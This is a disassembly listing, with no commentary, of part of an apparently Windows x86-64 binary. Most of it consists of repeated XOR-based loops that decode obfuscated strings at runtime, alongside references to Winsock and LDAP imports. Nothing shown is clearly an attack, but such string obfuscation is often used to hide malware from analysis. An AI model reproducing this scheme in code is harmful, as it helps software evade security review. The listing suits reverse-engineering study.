xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rsp + 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
movd xmm1, dword [rsp + 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14003da60
lea rax, [rsp + 0x40]
mov dword [rbp - 0x40], 5
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x30]
lea rax, [rbp - 0x40]
mov dword [rbp - 0x30], 1
lea r8, [0x1400fe2f8]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
call fcn.140029490
mov eax, dword [0x1400e98c8]
movsd xmm0, qword [0x1400ea1d8]
mov ecx, dword [0x1400ea1e0]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x1400e98cc]
xor byte [rsp + 0x41], 0x31
xor al, 0x34
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
cmp byte [0x1400ea1e5], bl
mov byte [rsp + 0x44], al
movzx eax, word [0x1400ea1e4]
mov word [rsp + 0x6c], ax
mov byte [rsp + 0x40], Ordinal_41
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], ecx
je 0x14003dcc4
mov r8d, ebx
cmp edi, 2
jl 0x14003dc77
movd eax, xmm13
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
mov r8d, ntohs
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1400ea1d8]
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
movd dword [rsp + 0x64], xmm2
movdqa xmm1, xmm9
pmuldq xmm0, xmm7
movdqa xmm2, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14003dc90
lea rax, [rsp + 0x40]
mov dword [rbp - 0x40], 5
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x30]
lea rax, [rbp - 0x40]
mov dword [rbp - 0x30], 1
lea r8, [0x1400fe2f4]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
call fcn.140029490
mov eax, dword [0x1400e98c8]
mov r8d, ebx
movups xmm2, xmmword [0x1400e9a38]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x1400e98cc]
xor byte [rsp + 0x41], 0x31
xor al, 0x34
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
mov byte [rsp + 0x44], al
movzx eax, word [0x1400e9a48]
mov word [rsp + 0x70], ax
movzx eax, byte [0x1400e9a4a]
mov byte [rsp + 0x72], al
mov byte [rsp + 0x40], Ordinal_41
movups xmmword [rsp + 0x60], xmm2
cmp edi, 2
jl 0x14003df07
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rsp + 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
movd xmm1, dword [rsp + 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14003df20
lea rax, [rsp + 0x40]
mov dword [rbp - 0x40], 5
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x30]
lea rax, [rbp - 0x40]
mov dword [rbp - 0x30], 1
lea r8, [0x1400fe2f0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
call fcn.140029490
cmp byte [reloc.WS2_32.dll_gethostname], bl
movups xmm0, xmmword [0x1400fc2b0]
movzx eax, word [0x1400e9d40]
movups xmm1, xmmword [0x1400fc6a0]
mov word [rsp + 0x48], ax
movups xmmword [rbp - 8], xmm0
movups xmm0, xmmword [0x1400fc6b0]
movups xmmword [rbp + 8], xmm1
movups xmm1, xmmword [0x1400fc6c0]
movups xmmword [rbp + 0x18], xmm0
movups xmm0, xmmword [0x1400fc290]
movups xmmword [rbp + 0x28], xmm1
movups xmm1, xmmword [0x1400fc2a0]
movups xmmword [rbp + 0x38], xmm0
movsd xmm0, qword [0x1400e9d38]
movsd qword [rsp + 0x40], xmm0
movups xmmword [rbp - 0x28], xmm1
je 0x14003e020
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor byte [rsp + 0x44], 0x34
xor byte [rsp + 0x45], 0x35
xor byte [rsp + 0x46], 0x36
xor byte [rsp + 0x47], 0x37
xor byte [rsp + 0x48], 0x38
xor byte [rsp + 0x49], 0x39
mov byte [rsp + 0x40], 0x42
mov r8d, 2
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x40]
call fcn.14002f550
test al, al
je 0x14003e043
movups xmm0, xmmword [rbp - 8]
movups xmmword [0x1400fc2b0], xmm0
movups xmm2, xmmword [str.c_SCXXRK]
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd eax, xmm0
movups xmmword [rsp + 0x60], xmm2
test al, al
je 0x14003e25a
mov r8d, ebx
cmp edi, 2
jl 0x14003e21f
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rsp + 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14003e25a
lea r9, [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14003e230
mov r8d, 2
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x60]
call fcn.14002f550
mov ecx, dword [0x1400e9b88]
test al, al
movzx eax, word [0x1400e9b8c]
mov word [rsp + 0x6c], ax
movzx eax, byte [0x1400e9b8e]
mov byte [rsp + 0x6e], al
mov dword [rsp + 0x68], ecx
je 0x14003e29e
movups xmm0, xmmword [rbp + 8]
movups xmmword [0x1400fc6a0], xmm0
movsd xmm0, qword [0x1400e9b80]
mov r8d, ebx
movsd qword [rsp + 0x60], xmm0
cmp edi, 2
jl 0x14003e3fe
movd eax, xmm13
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
mov r8d, ntohs
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1400e9b80]
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
movd dword [rsp + 0x64], xmm2
movdqa xmm1, xmm9
pmuldq xmm0, xmm7
movdqa xmm2, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14003e410
mov r8d, 2
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x60]
call fcn.14002f550
test al, al
movzx eax, word [0x1400e9b10]
mov word [rsp + 0x48], ax
movzx eax, byte [0x1400e9b12]
je 0x14003e47a
movups xmm0, xmmword [rbp + 0x18]
movups xmmword [0x1400fc6b0], xmm0
movsd xmm0, qword [str.dTJG]
lea rdx, [rbp + 0x28]
xor byte [rsp + 0x48], 0x38
lea rcx, [rsp + 0x40]
xor byte [rsp + 0x49], 0x39
xor al, 0x3a
movsd qword [rsp + 0x40], xmm0
mov r8d, 2
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor byte [rsp + 0x44], 0x34
xor byte [rsp + 0x45], 0x35
xor byte [rsp + 0x46], 0x36
xor byte [rsp + 0x47], 0x37
mov byte [rsp + 0x40], 0x54
mov byte [rsp + 0x4a], al
call fcn.14002f550
test al, al
je 0x14003e4e3
movups xmm0, xmmword [rbp + 0x28]
movups xmmword [0x1400fc6c0], xmm0
movzx eax, word [0x1400ea008]
mov r8d, ebx
mov word [rsp + 0x70], ax
movzx eax, byte [0x1400ea00a]
mov byte [rsp + 0x72], al
movups xmm2, xmmword [str.bTWQG]
movups xmmword [rsp + 0x60], xmm2
cmp edi, 2
jl 0x14003e6c5
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rsp + 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
movd xmm1, dword [rsp + 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14003e6d0
mov r8d, 2
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.14002f550
test al, al
je 0x14003e727
movups xmm0, xmmword [rbp + 0x38]
movups xmmword [0x1400fc290], xmm0
movzx eax, byte [0x1400e9d78]
mov r8d, ebx
mov byte [rsp + 0x70], al
movups xmm2, xmmword [0x1400e9d68]
movups xmmword [rsp + 0x60], xmm2
cmp edi, 2
jl 0x14003e8fe
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rsp + 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
mov r8d, reloc.WS2_32.dll_recv
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x6c]
pmulld xmm0, xmm11
psubd xmm12, xmm0
movd xmm0, ecx
andps xmm12, xmm10
packuswb xmm12, xmm12
packuswb xmm12, xmm12
paddb xmm12, xmm0
xorps xmm12, xmm1
movd dword [rsp + 0x6c], xmm12
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14003e910
mov r8d, 2
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.14002f550
test al, al
je 0x14003e967
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [0x1400fc2a0], xmm0
cmp dword [0x1400fde1c], 3
movaps xmm12, xmmword [rsp + 0x170]
jne 0x14003ebe7
mov eax, dword [0x1400ea0d8]
xor edx, edx
movzx ecx, word [0x1400ea0dc]
mov rsi, qword [0x1400fd900]
mov dword [rsp + 0x40], eax
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
movzx eax, byte [0x1400ea0de]
mov word [rsp + 0x44], cx
xor al, 0x36
xor byte [rsp + 0x45], 0x35
xor cl, 0x34
mov byte [rsp + 0x46], al
mov rax, qword [rsi + 0x19f8]
mov byte [rsp + 0x44], cl
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_35
mov dword [rbp - 0x40], 0x43be0000
mov byte [rax + 0x7c], 1
mov rax, qword [rsi + 0x19f8]
mov dword [rbp - 0x3c], 0x43d98000
movsxd r8, dword [rax + 0x1e0]
mov rax, qword [rax + 0x1e8]
mov r8d, dword [rax + r8*4 - 4]
call fcn.140003010
cmp dword [rsi + 0x1a24], eax
jne 0x14003ea14
mov dword [rsi + 0x1a2c], eax
cmp dword [rsi + 0x1a28], eax
jne 0x14003ea23
mov byte [rsi + 0x1a37], 1
lea r8, [rbp - 0x40]
mov dword [rsp + 0x20], ebx
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.1400088e0
cmp byte [0x1400e9f3b], bl
movsd xmm0, qword [str.bPW_X]
mov ecx, dword [0x1400e9f38]
movsd qword [rsp + 0x50], xmm0
mov dword [rsp + 0x58], ecx
je 0x14003ebd6
cmp edi, 2
jl 0x14003eba4
movdqa xmm1, xmm6
movd eax, xmm13
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm11
psubd xmm6, xmm0
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
andps xmm6, xmm10
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, eax
paddb xmm6, xmm0
movd xmm0, dword [str.bPW_X]
xorps xmm6, xmm0
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
movd dword [rsp + 0x50], xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x54]
pmulld xmm0, xmm11
psubd xmm8, xmm0
movd xmm0, eax
andps xmm8, xmm10
packuswb xmm8, xmm8
packuswb xmm8, xmm8
paddb xmm8, xmm0
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
xorps xmm8, xmm1
movdqa xmm1, xmm9
pmuldq xmm0, xmm7
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rsp + 0x54], xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm11
psubd xmm9, xmm0
movd xmm0, eax
andps xmm9, xmm10
packuswb xmm9, xmm9
packuswb xmm9, xmm9
paddb xmm9, xmm0
xorps xmm9, xmm1
movd dword [rsp + 0x58], xmm9
jmp 0x14003ebd6
lea r8, [rsp + 0x50]
nop dword [rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
mul ebx
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, bl
inc ebx
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp ebx, 0xc
jl 0x14003ebb0
lea rdx, [0x1400fd99a]
lea rcx, [rsp + 0x50]
call fcn.140027220
call fcn.140008bb0
call fcn.14000d4b0
movaps xmm13, xmmword [rsp + 0x160]
movaps xmm11, xmmword [rsp + 0x180]
movaps xmm10, xmmword [rsp + 0x190]
movaps xmm9, xmmword [rsp + 0x1a0]
movaps xmm8, xmmword [rsp + 0x1b0]
movaps xmm7, xmmword [rsp + 0x1c0]
movaps xmm6, xmmword [rsp + 0x1d0]
mov rdi, qword [rsp + 0x200]
mov rsi, qword [rsp + 0x1f8]
mov rbx, qword [rsp + 0x1f0]
